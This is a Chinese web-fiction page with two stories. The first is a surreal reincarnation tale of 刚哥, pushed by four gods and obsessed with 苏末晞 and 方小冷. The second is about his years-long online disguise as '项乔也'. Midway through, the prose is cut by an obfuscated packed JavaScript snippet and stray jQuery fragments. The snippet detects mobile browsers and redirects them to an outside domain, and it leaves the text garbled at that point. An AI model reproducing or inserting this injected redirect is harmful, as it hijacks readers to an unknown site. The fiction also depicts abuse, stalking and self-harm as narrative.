四神操纵的刚哥：灵魂的试炼剧场
浴室镜面上的水汽渐渐凝结，刚哥伸手擦去一片雾气，镜中映出四道重叠的影子。
"那个蠢女人方小冷，是你灵魂试炼的最后一环。"智慧之神推了推银丝眼镜，天平在他手中微微倾斜。
战斗之神狞笑着，赤甲鬼面下的声音嘶哑：“骗感情？不如让我拧断那人脖子。"
天使的白纱覆在眼前，残破羽翼轻颤："但你真正想救的......是像你母亲前世一样的她吧？"
死神的锁链突然作响："提醒你，下次再心软——我会让你''意外''死在钢琴室。"
方小冷正在钢琴前弹奏《梦中的婚礼》，她不知道这首曲子刚哥已经听了一千年。
第一世，苏末晞是他的未婚妻，在城破前托人带话："等我下一世，你定要叫一声''老公''。"而她殉城前的回答是："下辈子......我们拜把子吧。"
第二世，他成了黑市商人，将金条塞进苏末晞修女服的袖口："跟了我，叫你一辈子夫人。"苏末晞却把金条换成救济院的粥："我是主的妻子，但可以当你妹妹。"
钢琴室的《安魂曲》突然走调，苏末晞表面是圣光系治愈者，实则是死神的人间体，专门收集刚哥的"罪恶exp"。"当你的灵魂足够沉重......"苏末晞的目光穿透刚哥的胸膛，"我就能用你堕天的翅膀，为地狱建一座新桥。"
刚哥的右臂开始颤抖，玫瑰念珠纹身下的"3:55"隐隐发烫。那是朱勇续写的福音："但那些躲在阴影里的孩子，祂也要为他们凿一扇窗——因为祂的国，是由破碎的瓦片和孤儿院的剩饭砌成的。"
（黄昏的幼儿园沙坑边，5岁的刚哥攥着塑料戒指）
刚哥（认真）：“叫我老公。”
苏末晞（堆着城堡）：“不要，我们拜把子吧。”
（刚哥身后的死神阴影一闪，他忽然把戒指扔进尿桶）
放学时分，刚哥牵着条狼狗堵在校门口。畜生吐着舌头，獠牙上还沾着生肉渣。他想看这个曾经宁死不叫"老公"的女人惊慌失措，就像当年被围城时的模样。
苏末晞却走到阳台盘腿打坐，夕阳给她镀上金边。狼狗突然呜咽着趴下，刚哥的太阳穴突突跳动——他又看见了那道城墙，看见她白衣如雪地站在烽火里说："我们拜把子吧。"
（中学天台，刚哥拦住苏末晞）
刚哥：“做我老婆，天天叫我老公。”
苏末晞（翻书）：“我是女同。”
（他身后的战斗神暴起，却被她一个侧身避开）
（昏暗灯光，屏幕是苏末晞“前男友”的脸，刚哥用fake换脸假扮苏末晞的那一位故人，就因为他的执念想听苏叫他老公）
刚哥：“叫老公！”
苏末晞（突然变声成李东京）：“老公。”
（刚哥愣住时，她撕下AR面具——下面还有一层东京的脸）智慧之神精心设计的Deepfake陷阱正在上演。刚哥看着眼前这个长着李东京脸的女人，癫狂地抓着她的肩膀："你到底是不是她？！"
"我是你祖宗。"苏末晞一把撕下虚拟面具。
（2003年，老式居民楼厨房改装的保育院）
6岁的苏末晞踮脚去够冰箱顶层的霉豆腐罐子，刚哥（12岁）在身后阴影处盯着。
苏末晞（嘟囔）：“发霉了…不能给哥哥吃。”
因此，躲过一劫。可是方小冷却不知道。无意中触犯了刚哥的禁忌，把霉豆腐给他吃了，她不知道刚哥是个强烈的洁癖症幼儿园的饭堂里飘着霉豆腐的咸涩味。刚哥站在打饭队伍里，眼睛死死盯着方小冷那双给同学分餐的手。
"吃这个？"他盯着餐盘里那团发绿的霉斑，指甲掐进掌心。前世饿死的记忆在胃里翻涌，他需要看她咽下这种肮脏，就像当年母亲被迫吞下高利贷借据。
破旧公寓的卫生间里，刚哥逼方小冷喝浑浊的水
刚哥：“你怎么喂我的，现在就怎么喝。”
（方小冷呕吐时，刚哥身后的天使在吐血）
方小冷突然双手合十："南无阿弥陀佛。"清脆的童声像道结界，刚哥感到有股力量被反弹回来。他惊愕地发现自己的意念操控失效了
暮色中，霉豆腐的气味和狗腥味混在一起。刚哥松开狗绳，终于明白这一世的试炼是什么：不是要她屈服，而是要自己学会放过那个永远不肯叫"老公"的灵魂。
2021年·番禺路鸿升大厦天台
刚哥（握紧栏杆）：“苏末晞吃臭豆腐那天，灵魂就已经死了。”
（他心通里传来苏末晞咀嚼的声音——像极了当年霉豆腐的黏腻）
2023年·水果摊前
刚哥（掐碎杨梅）：“昨天偷吃了吧？脑子里的虫…比这还多。”
（汁水顺着指缝滴下，像他预知梦里苏末晞七窍流血的画面）
（深夜便利店，苏末晞盯着关东煮）
战神在他耳边吼：“让她吃！让她烂掉！”
天使却捂住他嘴：“那孩子…只是饿了。”
（最终他打翻她手中的萝卜——
热汤泼在地上，蒸汽里浮现她三岁喂他馊饭的影子）
钢琴室里，刚哥盯着正在弹琴的方小冷。前世她是他的生母，在饥荒年代不得不喂他吃观音土。今生他骗她吃下脏物时，听见天使在哭泣，死神在狞笑。
"你报复的不是她..."苏末晞突然出现在门口，"是饿到啃自己手的那个孩子。"
刚哥（对虚空）：“你们四个…其实都是我？”
（四神幻影破碎，他拿起汽油桶——这次浇向自己）
钢琴声戛然而止。苏末晞合上琴盖，发现一枚染血的琴键——那是刚哥留给方小冷的最后礼物，按下它会播放他们第一世在城墙下听过的童谣。
镜子的碎片终于落地，刚哥看着自己四分五裂的倒影，想起朱勇写在火柴盒上的话："神说，光要有漏洞。"而现在，他要决定让哪一道光，照进这个破碎的剧场。
政府报告厅的聚光灯下，省长叔叔李弘的金丝眼镜反射着刺眼的光芒。他念着"脱贫攻坚"的演讲稿，镀金国徽袖扣在灯光下闪闪发亮。后排阴影里，刚哥的耳扩泛着冷光，指尖转动着一枚特制硬币——一面刻着"廉"，一面刻着"腐"。
演讲稿背面，铅笔写着某工程回扣的账目。"他教我用红头文件折纸飞机..."刚哥盯着叔叔的背影想，"说能带穷人飞出大山。"
雷门巨大的灯笼下，刚哥跪坐着解开西装，露出满背纹身：左肩是省长授勋时的标准像，右肩是同一张脸腐烂成骷髅的模样，脊椎处则是一串血色算盘珠。香炉灰落在他掌心，短暂地组成"赦"字又随风飘散。
住持远远望着这个总是在半夜来上香的男人。他的供品很特别——儿童退烧药和工程安全帽。
危房区的铁门被刚哥一脚踹开。黄万千抱着公文包跟在后面。刚哥左手递给贫困户补贴金，右手把钉子户的签名按在拆迁协议上。特写镜头下，他拇指沾印泥时露出虎牙的咬痕——那是陈川十年前留下的。
"黑钱洗白要七道程序..."刚哥看着协议想，"但弄脏自己，只要一秒。"
他蜷在神社角落睡着，雪花落满全身。香客们窃窃私语：那个纹身男人...怎么像地藏菩萨在雪中安静的沉睡？
办公室里，"清正廉明"的书法作品高高悬挂。没人知道，宣纸背面是福利院孩子们用蜡笔写的"谢谢光哥哥"。
刚哥烧毁的日记最后一页写着："真正的圣人，必须比魔鬼更了解地狱。
刚哥的双面游戏
?第一幕：虚拟人设「项乔也」
（2010年，小学三年级的摩尔庄园）
ID「JOE」（刚哥操控的粉色拉姆头像）：
“你好，我叫项乔也，喜欢看书和听钢琴曲。”
苏末晞（打字认真）：
“你的小屋布置得好文雅！我们当朋友吧~”
（屏幕外，11岁的苏晓光咬着辣条，用变声器发语音）
“操！老子…我是说，谢谢夸奖。”
苏末晞（惊讶）：</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949893|177513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“乔也，你是个腼腆的女孩子，不能这么说话哦！”
（刚哥摔键盘，却继续用这个ID陪她六年）
?第二幕：现实的告白与崩塌
（初二放学后的教室，刚哥拦住苏末晞）
刚哥（耳朵通红）：
“我…我喜欢你！”
苏末晞（摇头）：
“对不起，我喜欢女生……其实，我在摩尔庄园有个很重要的网友，叫项乔也。”
（刚哥脸色瞬间惨白——他从未告诉过她，项乔也的姓氏是“苏”）
苏末晞（眼神柔软）：
“你认识她吗？她是个很温柔的人。”
?第三幕：账号的终极抉择
（深夜网吧，刚哥登录久违的「JOE」账号）
苏末晞（在线留言）：
“乔也，我好像喜欢上你了…如果你也是女生，我们可以见面吗？”
（他颤抖着敲下两种回复，又逐一删除——）
1.坦白：“我是苏晓光。”
2.欺骗：“好，我们下周见。”
（最终他注销了账号，摩尔庄园的粉色小屋永远灰暗）
?终幕：多年后的真相
（2023年，苏末晞整理旧电脑时发现加密日记）
2014年的自己写道：
“其实早知道乔也是刚哥……
但他装女孩陪我聊天的样子，比现实可爱100倍。”
（窗外，刚哥正用新ID「GhostJOE」访问她废弃的摩尔庄园主页）
（无印良品店内，苏末晞整理着亚麻衬衫的货架。风铃轻响，一位身穿白色连衣裙、戴珍珠发箍的年轻女人走了进来。）
姑姑（微笑靠近）：“这款香薰机，适合放在卧室吗？”
苏末晞（职业性点头）：“嗯，搭配甜橙精油会助眠。”
（女人没看商品，却一直盯着她的工牌——【苏末晞】。）
姑姑（忽然）：“你比小光描述的更文静。”
（苏末晞的手指僵在价签上。）
（回忆闪回——电脑屏幕的蓝光映着苏末晞的脸。）
2013年·摩尔庄园
ID「星屑」（苏末晞）：“乔也，今天下雨了。”
ID「JOE」（刚哥）：“烦，最讨厌潮湿。”
2018年·微博私信
ID「流浪骑士」（刚哥）：“推荐你听《加州旅馆》。”
ID「星屑」（苏末晞）：“我跟一个朋友聊起过这首歌，我说那个旅馆里的都是60年代毒品泛滥之后无处可归的亡灵，结果那个朋友居然跟我同感，他叫小光，你知道那种感觉吗？”
2023年·Steam好友
ID「Ghost」（刚哥）：“？你还在玩这个弱智种田游戏。”
ID「苏苏」（苏末晞）：“要你管，菜逼。”
（十年间，他们换了11个平台，8个马甲，却从不说破身份。）
?第三幕：姑姑的试探
（无印良品休息区，姑姑推过一杯热茶。）
姑姑：“小光小时候，总躲在被窝里回你消息。”
苏末晞（捏紧纸杯）：“……他最近ID是什么？”
（姑姑轻笑，从包里拿出一部旧手机——屏幕上是刚哥昨晚的搜索记录：）
无印良品苏末晞排班表
?第四幕：刚哥的崩溃
（姑姑回家后，刚哥在厨房摔了盘子。）
姑姑（淡定喝茶）：“她问我，你到底是‘Ghost’还是‘JOE’。”
刚哥（耳根通红）：“你他妈多什么事！”
（他冲出门，却站在苏末晞打工的店外抽了三小时烟，没敢进去。）
?终幕：永远的马甲
（深夜，苏末晞收到一条好友申请——）
ID「WhiteLie」（刚哥的新马甲）：“香薰机买了吗？”
（她通过验证，回复十年不变的对话开头：）
“你谁啊？”